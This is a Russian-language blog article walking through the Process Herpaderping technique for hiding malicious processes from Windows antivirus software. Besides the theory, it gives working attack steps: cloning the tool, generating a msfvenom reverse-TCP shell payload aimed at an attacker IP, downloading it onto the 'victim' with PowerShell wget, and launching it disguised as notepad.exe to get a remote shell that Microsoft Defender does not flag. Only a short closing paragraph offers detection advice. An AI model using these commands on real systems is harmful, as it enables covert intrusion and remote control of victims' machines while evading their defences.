Бесплатно Экспресс-аудит сайта:

25.02.2023

Техника Process Herpadering: разбираемся, как злоумышленники скрывают процессы от антивирусов

Немного теории: как антивирус узнает, что в системе был запущен какой-либо процесс?

Чтобы скрыть что-либо от антивируса, нам нужно понимать, как он узнает о запуске процесса в системе. Для получения информации о создании и завершении процессов в ядре Windows большая часть антивирусного ПО обращается к функции ядра PsSetCreateProcessNotifyRoutine. Когда процесс создается или завершается, PsSetCreateProcessNotifyRoutine создает соответствующее оповещение. В дальнейшем антивирус использует полученную информацию о процессах, чтобы отследить активность системы и защитить критические ресурсы. Однако проверка полученной информации начинается только тогда, когда инициируется первый поток соответствующего процесса, а не когда создается его объект. Это позволяет злоумышленникам создать и отобразить процесс, затем изменить содержимое файла и после этого создать первый поток.

Теперь про самое интересное – Process Herpaderping

Process Herpaderping используется для обхода антивирусных и защитных механизмов путем изменения содержимого файла после его отображения в памяти, но до того, как будет инициирован первый поток. Из-за этого антивирус не может понять, следует продолжать выполнение процесса или остановить его, поскольку файл, лежащий в его основе, уже изменился.

Как создать нужный процесс?

Рассмотрим создание процесса по шагам:

  1. Создаем нужный нам исполняемый файл, держим его дескриптор (handle) открытым.
  2. Создаем image section с помощью NtCreateSection, у которого установлен флаг SEC_IMAGE. Image section – осо­бый раз­дел и слу­жит для отоб­ражения фай­ла (или час­ти фай­ла) в память. Раз­дел соот­ветс­тву­ет PE-фай­лам и может быть соз­дан толь­ко в них.
  3. Копируем нашу полезную нагрузку, а затем используем ранее открытый дескриптор файла для переноса полезной нагрузки в память. При этом нужно изменить содержимое исходного исполняемого файла, вставив туда что-нибудь легитимное.
  4. Соз­даем initial thread с помощью NtCreateThreadEx. В этот момент сработает callback создания процесса (PsSetCreateProcessNotifyRoutineEx) в ядре. Различие содержимого в исполня­емом фай­ле и в image section не даст антивирусу понять, можно ли разрешать выполнение этого процесса.
  5. После этого закрываем дескриптор с помощью IRP_MJ_CLEANUP, чтобы все выполнялось должным образом.

Как реализовать Process Herpaderping самостоятельно?

Чтобы все сработало как надо, копируем проект из GitHub и собираем его в удобном компиляторе (у нас это Visual Studio 2022).

git clone https://github.com/jxy-s/herpaderping.git

cd .herpaderping

git submodule update --init --recursive


Копируем проект

Затем выполняем команду:

ProcessHerpaderping.exe [название файла с полезной нагрузкой] [название целевого исполняемого файла]


Создаем полезную нагрузку:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1234 -f exe > payload.exe


После этого передаем жертве исполняемый файл и полезную нагрузку:

powershell wget 192.168.0.89/payload.exe -O payload.exe


После успешной передачи полезной нагрузки мы запускаем исполняемый файл Process Herpaderping, чтобы запустить нашу полезную нагрузку, спрятав ее под видом другого исполняемого файла, например, notepad.exe:

ProcessHerpaderping.exe payload.exe notepad.exe


Как вы можете видеть, мы получили обратный shell на порт 1234. Это говорит о том, что все прошло успешно!

Если мы будем смотреть на атаку со стороны жертвы, то увидим подозрительные дочерние процессы, порожденные из легитимных исполняемых файлов. В нашем случае cmd.exe является дочерним процессом notepad.exe. Причем Microsoft Defender никак на это не реагирует!


Подводим итоги

В статье мы обсудили обход антивирусной защиты с помощью Process Herpaderping. Чтобы не стать жертвой атаки с использованием этой техники, настройте сигнатуры вашего антивирусного ПО на обнаружение и анализ поведения функций IRP_MJ_CLEANUP и NtCreateProcessEx. Кроме того, стоит использовать PsSetCreateThreadNotifyRoutineEx, так как первая функция получает callback до выполнения потока.